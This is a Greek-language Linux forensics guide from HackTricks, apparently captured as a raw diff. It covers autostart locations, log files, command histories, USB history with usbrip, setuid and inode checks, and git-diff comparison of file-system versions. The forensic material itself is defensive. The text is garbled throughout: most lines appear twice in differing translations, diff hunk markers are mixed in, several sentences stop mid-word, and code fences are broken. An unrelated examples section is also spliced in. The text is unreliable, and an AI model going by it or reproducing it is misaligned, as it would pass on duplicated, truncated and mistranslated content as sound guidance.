- **/etc/rc.d/** και **/etc/rc.boot/**: Περιέχουν σενάρια για την εκκίνηση των υπηρεσιών, με το δεύτερο να βρίσκεται σε παλαιότερες εκδόσεις του Linux.
- **/etc/init.d/**: Χρησιμοποιείται σε ορισμένες εκδόσεις του Linux, όπως το Debian, για την αποθήκευση σεναρίων εκκίνησης.
- Οι υπηρεσίες μπορεί επίσης να ενεργοποιηθούν μέσω των **/etc/inetd.conf** ή **/etc/xinetd/**, ανάλογα με την παραλλαγή του Linux.
- **/etc/systemd/system**: Ένας κατάλογος για σενάρια συστήματος και διαχείρισης υπηρεσιών.
- **/etc/systemd/system/multi-user.target.wants/**: Περιέχει συνδέσμους προς υπηρεσίες που πρέπει να ξεκινήσουν σε ένα επίπεδο εκτέλεσης πολλαπλών χρηστών.
- **/usr/local/etc/rc.d/**: Για προσαρμοσμένες ή υπηρεσίες τρίτων.
- **~/.config/autostart/**: Για εφαρμογές εκκίνησης αυτόματης εκκίνησης που είναι συγκεκριμένες για τον χρήστη, η οποία μπορεί να είναι ένα κρυψώνα για κακόβουλο λογισμικό που στοχεύει τον χρήστη.
- **/lib/systemd/system/**: Παγκόσμια προεπιλεγμένα αρχεία μονάδας που παρέχονται από εγκατεστημένα πακέτα.
* **/etc/inittab**: Καλεί σενάρια εκκίνησης όπως το rc.sysinit, καθοδηγώντας προς περαιτέρω σενάρια εκκίνησης.
* **/etc/rc.d/** και **/etc/rc.boot/**: Περιέχουν σενάρια για την εκκίνηση υπηρεσιών, με το δεύτερο να βρίσκεται σε παλαιότερες εκδόσεις Linux.
* **/etc/init.d/**: Χρησιμοποιείται σε συγκεκριμένες εκδόσεις Linux όπως το Debian για την αποθήκευση σεναρίων εκκίνησης.
* Οι υπηρεσίες μπορεί επίσης να ενεργοποιηθούν μέσω **/etc/inetd.conf** ή **/etc/xinetd/**, ανάλογα με την εκδοχή του Linux.
* **/etc/systemd/system**: Ένας κατάλογος για σενάρια συστήματος και διαχείρισης υπηρεσιών.
* **/etc/systemd/system/multi-user.target.wants/**: Περιέχει συνδέσμους προς υπηρεσίες που πρέπει να εκκινηθούν σε ένα επίπεδο λειτουργίας πολλών χρηστών.
* **/usr/local/etc/rc.d/**: Για προσαρμοσμένες ή υπηρεσίες τρίτων.
* **\~/.config/autostart/**: Για εφαρμογές εκκίνησης αυτόματα που είναι συγκεκριμένες για τον χρήστη, μπορεί να είναι ένα μέρος κρυψώνα για malware που στοχεύει τον χρήστη.
* **/lib/systemd/system/**: Αρχεία μονάδων προεπιλογής για ολόκληρο το σύστημα που παρέχονται από εγκατεστημένα πακέτα.
### Μονάδες Πυρήνα
### Πυρήνας Ενοτήτων
Οι μονάδες πυρήνα Linux, συχνά χρησιμοποιούμενες από malware ως στοιχεία rootkit, φορτώνονται κατά την εκκίνηση του συστήματος. Οι κατάλογοι και τα αρχεία που είναι κρίσιμα για αυτές τις μονάδες περιλαμβάνουν:
Οι ενότητες πυρήνα Linux, που συχνά χρησιμοποιούνται από κακόβουλο λογισμικό ως στοιχεία rootkit, φορτώνονται κατά την εκκίνηση του συστήματος. Οι κατάλογοι και τα αρχεία που είναι κρίσιμα για αυτές τις ενότητες περιλαμβάνουν:
- **/lib/modules/$(uname -r)**: Περιέχει ενότητες για την τρέχουσα έκδοση του πυρήνα.
- **/etc/modprobe.d**: Περιέχει αρχεία ρύθμισης για τον έλεγχο της φόρτωσης των ενοτήτων.
- **/etc/modprobe** και **/etc/modprobe.conf**: Αρχεία για τις γενικές ρυθμίσεις των ενοτήτων.
* **/lib/modules/$(uname -r)**: Κρατά μονάδες για την τρέχουσα έκδοση του πυρήνα.
* **/etc/modprobe.d**: Περιέχει αρχεία ρύθμισης για τον έλεγχο της φόρτωσης μονάδων.
* **/etc/modprobe** και **/etc/modprobe.conf**: Αρχεία για γενικές ρυθμίσεις μονάδων.
### Άλλες Τοποθεσίες Αυτόματης Εκκίνησης
Το Linux χρησιμοποιεί διάφορα αρχεία για την αυτόματη εκτέλεση προγραμμάτων κατά την σύνδεση του χρήστη, πιθανώς κρύβοντας κακόβουλο λογισμικό:
Το Linux χρησιμοποιεί διάφορα αρχεία για την αυτόματη εκτέλεση προγραμμάτων κατά την σύνδεση του χρήστη, πιθανώς κρύβοντας malware:
- **/etc/profile.d/***, **/etc/profile** και **/etc/bash.bashrc**: Εκτελούνται για κάθε σύνδεση χρήστη.
- **~/.bashrc**, **~/.bash_profile**, **~/.profile** και **~/.config/autostart**: Αρχεία που αφορούν συγκεκριμένους χρήστες και εκτελούνται κατά την σύνδεσή τους.
- **/etc/rc.local**: Εκτελείται μετά την εκκίνηση όλων των υπηρεσιών του συστήματος, σηματοδοτώντας το τέλος της μετάβασης σε ένα πολλαπλών χρηστών περιβάλλον.
* **/etc/profile.d/**\*, **/etc/profile**, και **/etc/bash.bashrc**: Εκτελούνται για κάθε σύνδεση χρήστη.
* **\~/.bashrc**, **\~/.bash\_profile**, **\~/.profile**, και **\~/.config/autostart**: Αρχεία συγκεκριμένα για τον χρήστη που εκτελούνται κατά τη σύνδεσή τους.
* **/etc/rc.local**: Εκτελείται μετά την εκκίνηση όλων των υπηρεσιών συστήματος, σηματοδοτώντας το τέλος της μετάβασης σε ένα πολλαπλών χρηστών περιβάλλον.
## Εξέταση Αρχείων Καταγραφής
Τα συστήματα Linux καταγράφουν τις δραστηριότητες των χρηστών και τα γεγονότα του συστήματος μέσω διάφορων αρχείων καταγραφής. Αυτά τα αρχεία καταγραφής είναι κρίσιμα για την αναγνώριση μη εξουσιοδοτημένης πρόσβασης, μολύνσεων από κακόβουλο λογισμικό και άλλων περιστατικών ασφαλείας. Τα κύρια αρχεία καταγραφής περιλαμβάνουν:
Τα συστήματα Linux καταγράφουν τις δραστηριότητες των χρηστών και τα συμβάντα του συστήματος μέσω διαφόρων αρχείων καταγραφής. Αυτά τα αρχεία καταγραφής είναι κρίσιμα για την αναγνώριση μη εξουσιοδοτημένης πρόσβασης, μολύνσεις από malware και άλλα περιστατικά ασφάλειας. Κύρια αρχεία καταγραφής περιλαμβάνουν:
- **/var/log/syslog** (Debian) ή **/var/log/messages** (RedHat): Καταγράφουν μηνύματα και δραστηριότητες σε όλο το σύστημα.
- **/var/log/auth.log** (Debian) ή **/var/log/secure** (RedHat): Καταγράφουν προσπάθειες πιστοποίησης, επιτυχείς και αποτυχημένες συνδέσεις.
- Χρησιμοποιήστε την εντολή `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` για να φιλτράρετε σχετικά γεγονότα πιστοποίησης.
- **/var/log/boot.log**: Περιέχει μηνύματα εκκίνησης του συστήματος.
- **/var/log/maillog** ή **/var/log/mail.log**: Καταγράφουν δραστηριότητες του διακομιστή ηλεκτρονικού ταχυδρομείου, χρήσιμες για την παρακολούθηση υπηρεσιών που σχετίζονται με το ηλεκτρονικό ταχυδρομείο.
- **/var/log/kern.log**: Αποθηκεύει μη
* **/var/log/syslog** (Debian) ή **/var/log/messages** (RedHat): Καταγράφουν μηνύματα και δραστηριότητες σε επίπεδο συστήματος.
* **/var/log/auth.log** (Debian) ή **/var/log/secure** (RedHat): Καταγράφουν προσπάθειες πιστοποίησης, επιτυχείς και αποτυχημένες συνδέσεις.
* Χρησιμοποιήστε την εντολή `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` για να φιλτράρετε σχετικά γεγονότα πιστοποίησης.
* **/var/log/boot.log**: Περιέχει μηνύματα εκκίνησης του συστήματος.
* **/var/log/maillog** ή **/var/log/mail.log**: Καταγράφουν δραστηριότητες του διακομιστή email, χρήσιμα για την παρακολούθηση υπηρεσιών σχετικών με email.
* **/var/log/kern.log**: Αποθηκεύει μηνύματα πυρήνα, συμπεριλαμβανομένων σφαλμάτων και προειδοποιήσεων.
* **/var/log/dmesg**: Κρατά μηνύματα οδηγών συσκευών.
* **/var/log/faillog**: Καταγράφει αποτυχημένες προσπάθειες σύνδεσης, βοηθώντας στην έρευνα παραβίασης ασφάλειας.
* **/var/log/cron**: Καταγράφει τις εκτελέσεις των εργασιών cron.
* **/var/log/daemon.log**: Καταγράφει τις δραστηριότητες υπηρεσιών φόντου.
* **/var/log/btmp**: Τεκμηριώνει αποτυχημένες προσπάθειες σύνδεσης.
* **/var/log/httpd/**: Περιέχει αρχεία καταγραφής σφαλμάτων και πρόσβασης του Apache HTTPD.
* **/var/log/mysqld.log** ή **/var/log/mysql.log**: Καταγράφουν δραστηριότητες της βάσης δεδομένων MySQL.
* **/var/log/xferlog**: Καταγράφει μεταφορές αρχείων FTP.
* **/var/log/**: Πάντα ελέγχετε για απροσδόκητα αρχεία καταγραφής εδώ.
{% hint style="info" %}
Τα αρχεία καταγραφής συστήματος Linux και τα υποσυστήματα ελέγχου ενδέχεται να είναι απενεργοποιημένα ή διαγραμμένα σε περίπτωση διείσδυσης ή περιστατικού malware. Διότι τα αρχεία καταγραφής σε συστήματα Linux συνήθως περιέχουν μερικές από τις πιο χρήσιμες πληροφορίες σχετικά με κακόβουλες δραστηριότητες, οι εισβολείς τα διαγράφουν συστηματικά. Επομένως, κατά την εξέταση των διαθέσιμων αρχείων καταγραφής, είναι σημαντικό να εξετάζετε για κενά ή μη τακτοποιημένες καταχωρήσεις που μπορεί να είναι ένδειξη διαγραφής ή παρεμβολής.
{% endhint %}
**Το Linux διατηρεί μια ιστορία εντολών για κάθε χρήστη**, αποθηκευμένη σε:
* \~/.bash\_history
* \~/.zsh\_history
* \~/.zsh\_sessions/\*
* \~/.python\_history
* \~/.\*\_history
Επιπλέον, η εντολή `last -Faiwx` παρέχει μια λίστα με τις συνδέσεις χρηστών. Ελέγξτε τη για άγνωστες ή απροσδόκητες συνδέσεις.
Ελέγξτε αρχεία που μπορούν να παραχωρήσουν επιπλέον δικαιώματα:
* Εξετάστε το `/etc/sudoers` για απροσδόκητα δικαιώματα χρήστη που ενδεχομένως έχουν χορηγηθεί.
* Εξετάστε το `/etc/sudoers.d/` για απροσδόκητα δικαιώματα χρήστη που ενδεχομένως έχουν χορηγηθεί.
* Εξετάστε το `/etc/groups` για την αναγνώριση οποιωνδήποτε ασυνήθιστων μελών ομάδας ή δικαιωμάτων.
* Εξετάστε το `/etc/passwd` για την αναγνώριση οποιωνδήποτε ασυνήθιστων μελών ομάδας ή δικαιωμάτων.
Ορισμένες εφαρμογές δημιουργούν επίσης τα δικά τους αρχεία καταγραφής:
* **SSH**: Εξετά
```bash
pip3 install usbrip
usbrip ids download #Download USB ID database
```
### Παραδείγματα
#### Εύρεση αρχείων
Για να εντοπίσετε αρχεία σε ένα σύστημα Linux, μπορείτε να χρησιμοποιήσετε την εντολή `find`. Για παράδειγμα, για να βρείτε όλα τα αρχεία με κατάληξη `.txt` στον κατάλογο `/home/user`, μπορείτε να εκτελέσετε την εξής εντολή:
```bash
find /home/user -name "*.txt"
```
#### Ανάλυση αρχείων καταγραφής
Για να αναλύσετε ένα αρχείο καταγραφής σε ένα σύστημα Linux, μπορείτε να χρησιμοποιήσετε εργαλεία όπως το `grep` ή το `awk`. Για παράδειγμα, για να βρείτε όλες τις εμφανίσεις της λέξης "error" σε ένα αρχείο καταγραφής με όνομα `logfile.txt`, μπορείτε να εκτελέσετε την εξής εντολή:
```bash
grep "error" logfile.txt
```
#### Ανάκτηση διαγραμμένων αρχείων
Για να ανακτήσετε διαγραμμένα αρχεία σε ένα σύστημα Linux, μπορείτε να χρησιμοποιήσετε εργαλεία όπως το `extundelete` ή το `foremost`. Για παράδειγμα, για να ανακτήσετε όλα τα διαγραμμένα αρχεία από τον κατάλογο `/home/user`, μπορείτε να εκτελέσετε την εξής εντολή:
```bash
extundelete /dev/sda1 --restore-all
```
#### Ανάλυση μνήμης
Για να αναλύσετε τη μνήμη ενός συστήματος Linux, μπορείτε να χρησιμοποιήσετε εργαλεία όπως το `Volatility` ή το `LiME`. Για παράδειγμα, για να εκτελέσετε μια ανάλυση μνήμης σε ένα αντίγραφο ασφαλείας της μνήμης με όνομα `memory.dump`, μπορείτε να εκτελέσετε την εξής εντολή:
```bash
volatility -f memory.dump imageinfo
```
```bash
usbrip events history #Get USB history of your curent linux machine
usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR user
@ -319,83 +315,65 @@ usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR
usbrip ids download #Downlaod database
usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid
```
Περισσότερα παραδείγματα και πληροφορίες μπορείτε να βρείτε στο GitHub: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip)
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε και να αυτοματοποιήσετε εργασιακές διαδικασίες με τα πιο προηγμένα εργαλεία της κοινότητας.\
Αποκτήστε πρόσβαση σήμερα:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Αναθεώρηση Λογαριασμών Χρηστών και Δραστηριοτήτων Σύνδεσης
Εξετάστε τα αρχεία _**/etc/passwd**_, _**/etc/shadow**_ και τα **αρχεία καταγραφής ασφαλείας** για ασυνήθιστα ονόματα ή λογαριασμούς που δημιουργήθηκαν ή χρησιμοποιήθηκαν κοντά σε γνωστά μη εξουσιοδοτημένα γεγονότα. Επίσης, ελέγξτε πιθανές επιθέσεις brute-force στο sudo.\
Επιπλέον, ελέγξτε αρχεία όπως το _**/etc/sudoers**_ και το _**/etc/groups**_ για απροσδόκητα προνόμια που έχουν δοθεί σε χρήστες.\
Τέλος, αναζητήστε λογαριασμούς χωρίς κωδικούς πρόσβασης ή με εύκολα μαντεψιάματα κωδικούς.
Εξετάστε τα _**/etc/passwd**_, _**/etc/shadow**_ και **αρχεία καταγραφής ασφαλείας** για ασυνήθιστα ονόματα ή λογαριασμούς που δημιουργήθηκαν ή χρησιμοποιήθηκαν κοντά σε γνωστά μη εξουσιοδοτημένα γεγονότα. Επίσης, ελέγξτε πιθανές επιθέσεις sudo brute-force.\
Επιπλέον, ελέγξτε αρχεία όπως τα _**/etc/sudoers**_ και _**/etc/groups**_ για απροσδόκητα προνόμια που δίνονται σε χρήστες.\
Τέλος, αναζητήστε λογαριασμούς με **καμία κωδικό πρόσβασης** ή **εύκολα μαντεψιάματα** κωδικών.
## Εξέταση Συστήματος Αρχείων
## Εξέταση του Συστήματος Αρχείων
### Ανάλυση Δομών Συστήματος Αρχείων σε Έρευνα Κακόβουλου Λογισμικού
### Ανάλυση Δομών Αρχείων στην Έρευνα Κακόβουλου Λογισμικού
Κατά την έρευνα κακόβουλων περιστατικών, η δομή του συστήματος αρχείων είναι μια κρίσιμη πηγή πληροφοριών, αποκαλύπτοντας τόσο την ακολουθία των γεγονότων όσο και το περιεχόμενο του κακόβουλου λογισμικού. Ωστόσο, οι συγγραφείς κακόβουλου λογισμικού αναπτύσσουν τεχνικές για να δυσκολέψουν αυτήν την ανάλυση, όπως η τροποποίηση των χρονοσημάτων των αρχείων ή η αποφυγή του συστήματος αρχείων για την αποθήκευση δεδομένων.
Κατά την έρευνα περιστατικών κακόβουλου λογισμικού, η δομή του συστήματος αρχείων είναι μια κρίσιμη πηγή πληροφοριών, αποκαλύπτοντας τόσο την ακολουθία των γεγονότων όσο και το περιεχόμενο του κακόβουλου λογισμικού. Ωστόσο, οι συγγραφείς κακόβουλου λογισμικού αναπτύσσουν τεχνικές για να δυσκολέψουν αυτήν την ανάλυση, όπως η τροποποίηση των χρονοσημάτων αρχείων ή η αποφυγή του συστήματος αρχείων για την αποθήκευση δεδομένων.
Για να αντιμετωπίσετε αυτές τις αντι-δικαστικές μεθόδους, είναι απαραίτητο:
Για να αντιμετωπίσετε αυτές τις αντι-δανειστικές μεθόδους, είναι ουσιώδες:
- **Να διεξάγετε μια λεπτομερή ανάλυση χρονολογίας** χρησιμοποιώντας εργαλεία όπως το **Autopsy** για την οπτικοποίηση της χρονολογίας των γεγονότων ή το `mactime` του **Sleuth Kit** για λεπτομερείς χρονολογικές πληροφορίες.
- **Να ερευνήσετε απροσδόκητα scripts** στον $PATH του συστήματος, τα οποία μπορεί να περιλαμβάνουν shell ή PHP scripts που χρησιμοποιούνται από επιτιθέμενους.
- **Να εξετάσετε τον φάκελο `/dev` για ατυπα αρχεία**, καθώς παραδοσιακά περιέχει ειδικά αρχεία, αλλά μπορεί να περιέχει και αρχεία που σχετίζονται με κακόβουλο λογισμικό.
- **Να αναζητήσετε κρυφά αρχεία ή φακέλους** με ονόματα όπως ".. " (τελεία τελεία κενό) ή "..^G" (τελεία τελεία control-G), τα οποία μπορεί να κρύβουν κακόβουλο περιεχόμενο.
- **Να εντοπίσετε αρχεία setuid root** χρησιμοποιώντας την εντολή:
```find / -user root -perm -04000 -print```
Αυτό εντοπίζει αρχεία με αυξημένα δικαιώματα, τα οποία μπορεί να καταχραστούν οι επιτιθέμενοι.
- **Να ελέγξετε τα χρονοσήματα διαγραφής** στους πίνακες inode για να εντοπίσετε μαζικές διαγραφές αρχείων, που μπορεί να υποδηλώνουν την παρουσία rootkits ή τροϊανών.
- **Να επιθεωρήσετε συνεχόμενα inodes** για κοντινά κακόβουλα αρχεία μετά τον εντοπισμό ενός, καθώς μπορεί να έχουν τοποθετηθεί μαζί.
- **Να ελέγξετε κοινούς δυαδικούς φακέλους** (_/bin_, _/sbin_) για πρόσφατα τροποποιημένα αρχεία, καθώς αυτά μπορεί να έχουν τροποποιηθεί από κακόβουλο λογισμικό.
```bash
* **Διεξάγετε μια λεπτομερή ανάλυση χρονολογίου** χρησιμοποιώντας εργαλεία όπως το **Autopsy** για την οπτικοποίηση των χρονολογίων γεγονότων ή το `mactime` του **Sleuth Kit** για λεπτομερή δεδομένα χρονολογίου.
* **Εξετάστε απροσδόκητα scripts** στο $PATH του συστήματος, τα οποία ενδέχεται να περιλαμβάνουν scripts κελύφους ή PHP που χρησιμοποιούν οι επιτιθέμενοι.
* **Εξετάστε τον κατάλογο `/dev` για ατυπικά αρχεία**, καθώς συνήθως περιέχει ειδικά αρχεία, αλλά μπορεί να φιλοξενεί αρχεία που σχετίζονται με κακόβουλο λογισμικό.
* **Αναζητήστε κρυφά αρχεία ή καταλόγους** με ονόματα όπως ".. " (τελεία τελεία κενό) ή "..^G" (τελεία τελεία ελέγχου-G), τα οποία μπορεί να κρύβουν κακόβουλο περιεχόμενο.
* **Αναγνωρίστε αρχεία setuid root** χρησιμοποιώντας την εντολή: `find / -user root -perm -04000 -print` Αυτό εντοπίζει αρχεία με υψηλά δικαιώματα, τα οποία θα μπορούσαν να καταχραστούνται από επιτιθέμενους.
* **Ε
````bash
# List recent files in a directory:
ls -laR --sort=time /bin```
# Sort files in a directory by inode:
ls -lai /bin | sort -n```
```
````
{% hint style="info" %}
Σημείωση ότι ένας **επιτιθέμενος** μπορεί να **τροποποιήσει** την **ώρα** για να κάνει τα **αρχεία να φαίνονται νόμιμα**, αλλά δεν μπορεί να τροποποιήσει το **inode**. Εάν διαπιστώσετε ότι ένα **αρχείο** υποδεικνύει ότι δημιουργήθηκε και τροποποιήθηκε την **ίδια ώρα** με τα υπόλοιπα αρχεία στον ίδιο φάκελο, αλλά το **inode** είναι **απροσδόκητα μεγαλύτερο**, τότε οι **χρονοσφραγίδες του αρχείου αυτού τροποποιήθηκαν**.
Σημειώστε ότι ένας **εισβολέας** μπορεί να **τροποποιήσει** το **χρόνο** για να κάνει τα **αρχεία να φαίνονται** **νόμιμα**, αλλά δεν μπορεί να τροποποιήσει το **inode**. Εάν ανακαλύψετε ότι ένα **αρχείο** υποδηλώνει ότι δημιουργήθηκε και τροποποιήθηκε την **ίδια ώρα** με τα υπόλοιπα αρχεία στον ίδιο φάκελο, αλλά το **inode** είναι **απροσδόκητα μεγαλύτερο**, τότε οι **χρονοσφραγίδες του αρχείου αυτού τροποποιήθηκαν**.
{% endhint %}
## Σύγκριση αρχείων διαφορετικών εκδόσεων συστήματος αρχείων
### Περίληψη σύγκρισης εκδόσεων συστήματος αρχείων
### Περίληψη Σύγκρισης Εκδόσεων Συστήματος Αρχείων
Για να συγκρίνουμε τις εκδόσεις του συστήματος αρχείων και να εντοπίσουμε τις αλλαγές, χρησιμοποιούμε απλοποιημένες εντολές `git diff`:
Για να συγκρίνουμε εκδόσεις συστήματος αρχείων και να εντοπίσουμε αλλαγές, χρησιμοποιούμε απλοποιημένες εντολές `git diff`:
- **Για να βρούμε νέα αρχεία**, συγκρίνουμε δύο φακέλους:
* **Για να βρούμε νέα αρχεία**, συγκρίνουμε δύο καταλόγους:
```bash
git diff --no-index --diff-filter=A path/to/old_version/ path/to/new_version/
```
- **Για τροποποιημένο περιεχόμενο**, αναφέρετε τις αλλαγές αγνοώντας συγκεκριμένες γραμμές:
* **Για τροποποιημένο περιεχόμενο**, καταγράψτε τις αλλαγές αγνοώντας συγκεκριμένες γραμμές:
```bash
git diff --no-index --diff-filter=M path/to/old_version/ path/to/new_version/ | grep -E "^\+" | grep -v "Installed-Time"
```
- **Για τον εντοπισμό διαγραμμένων αρχείων**:
* **Ανίχνευση διαγραμμένων αρχείων**:
```bash
git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
```
- **Επιλογές φίλτρου** (`--diff-filter`) βοηθούν στον περιορισμό σε συγκεκριμένες αλλαγές όπως προστιθέμενα (`A`), διαγραμμένα (`D`) ή τροποποιημένα (`M`) αρχεία.
- `A`: Προστιθέμενα αρχεία
- `C`: Αντιγραμμένα αρχεία
- `D`: Διαγραμμένα αρχεία
- `M`: Τροποποιημένα αρχεία
- `R`: Μετονομασμένα αρχεία
- `T`: Αλλαγές τύπου (π.χ. αρχείο σε σύνδεσμο)
- `U`: Μη συγχωνευμένα αρχεία
- `X`: Άγνωστα αρχεία
- `B`: Κατεστραμμένα αρχεία
* **Επιλογές φίλτρου** (`--diff-filter`) βοηθούν στο στενότερο πεδίο εφαρμογής σε συγκεκριμένες αλλαγές όπως προστιθέμενα (`A`), διαγεγραμμένα (`D`) ή τροποποιημένα (`M`) αρχεία.
* `A`: Προστιθέμενα αρχεία
* `C`: Αντιγραμμένα αρχεία
* `D`: Διαγεγραμμένα αρχεία
* `M`: Τροποποιημένα αρχεία
* `R`: Μετονομασμένα αρχεία
* `T`: Αλλαγές τύπου (π.χ., αρχείο σε σύμβολο συνδέσμου)
* `U`: Μη συγχωνευμένα αρχεία
* `X`: Άγνωστα αρχεία
* `B`: Κατεστραμμένα αρχεία
## Αναφορές
@ -406,22 +384,22 @@ git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
<details>
<summary><strong>Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks**; ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Συμμετάσχετε** στην [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Εγγραφείτε στην** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
**Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
**Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
Αποκτήστε πρόσβαση σήμερα:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

View file

@ -2,55 +2,74 @@
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία κοινότητας στον κόσμο.\
Αποκτήστε πρόσβαση σήμερα:
